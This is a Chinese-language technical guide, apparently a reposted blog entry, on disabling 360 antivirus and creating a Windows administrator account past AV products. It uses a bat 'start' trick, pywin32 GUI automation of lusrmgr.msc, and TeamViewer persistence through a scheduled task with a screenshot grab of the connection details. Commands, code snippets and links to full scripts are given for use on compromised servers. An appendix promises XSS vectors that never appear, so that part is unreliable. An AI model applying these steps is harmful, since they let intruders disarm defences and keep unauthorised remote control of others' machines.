Bypass AVs to Add Users
字数 1092 2025-08-27 12:33:48
Bypass AVs to Add Users 技术文档
0x01 背景与思路
这是一个尝试绕过杀毒软件(AVs)添加系统用户的技术方案。最初目标是卸载所有杀毒软件,但遇到了360安全卫士的防护机制:
- 360卸载程序路径:
C:/Program Files/360/360safe/uninst.exe - 卸载程序有两个ShadowEdge保护机制
- 直接运行Python脚本模拟点击会被拒绝
绕过方法:
- 新建一个bat脚本,使用start命令启动即可绕过防护
- 示例bat命令:
cd "C:/Program Files/360/360safe/" & start uninst.exe
0x02 环境配置
由于目标机器可能没有Python环境,需要手动配置:
-
下载Python embeddable版本:
- 从Python官网下载后上传到HTTP服务器
- 或使用提供的下载脚本:https://github.com/TheKingOfDuck/BypassAVAddUsers/blob/master/download.php
-
安装必要模块:
# 先修改python37._pth文件,去掉#import site前的注释 start python.exe ../get-pip.py start python.exe -m pip install pywin32
0x03 添加用户技术
方法选择
-
控制面板方法:
- 命令:
control userpasswords - 缺点:步骤繁琐,进程为explorer,窗口控制困难
- 命令:
-
lusrmgr.msc方法:
- 使用本地用户和组管理工具
- 优点:窗口位置固定,易于自动化
坐标计算
关键代码:
# 获取MMCMainFrame窗口
MMCMainFrame = win32gui.FindWindow("MMCMainFrame", None)
# 获取窗口坐标
a, b, c, d = win32gui.GetWindowRect(MMCMainFrame)
# "用户"按钮固定位置计算
userPosH = 237 -117 # 垂直距离
userPosL = 120 # 水平距离
click_position = (a + 230, b + 120)
完整流程
- 打开lusrmgr.msc
- 计算"用户"按钮位置
- 模拟点击操作
- 创建新用户并设置密码
- 赋予管理员权限
完整代码:https://github.com/TheKingOfDuck/BypassAVAddUsers/blob/master/adduser.py
0x04 测试结果
已验证绕过以下安全产品:
- 360全家桶
- 安全狗
- D盾
测试视频:http://v.youku.com/v_show/id_XNDA1NzEyNTc1Ng==.html
0x05 后续利用
如果服务器未开启3389端口:
-
上传单文件版TeamViewer
-
创建计划任务自动运行:
schtasks /create /sc minute /mo 1 /tn "cat" /tr "TeamViewer路径" /ru 用户名 /rp 密码 -
使用PIL截图获取连接信息:
from PIL import ImageGrab im = ImageGrab.grab() im.save('screenshot.png')
0x06 技术总结
- 全程使用合法系统工具和命令
- 不依赖任何0day漏洞
- 通过GUI自动化实现用户添加
- 结合计划任务和远程控制工具实现持久化访问
附录:XSS测试向量
文档中包含大量XSS测试向量,可用于安全测试,包括:
- 基本XSS向量
- 各种浏览器特定向量
- 编码绕过技术
- DOM型XSS
- SVG/HTML5新型向量
注意:这些XSS向量仅用于合法安全测试,请遵守相关法律法规。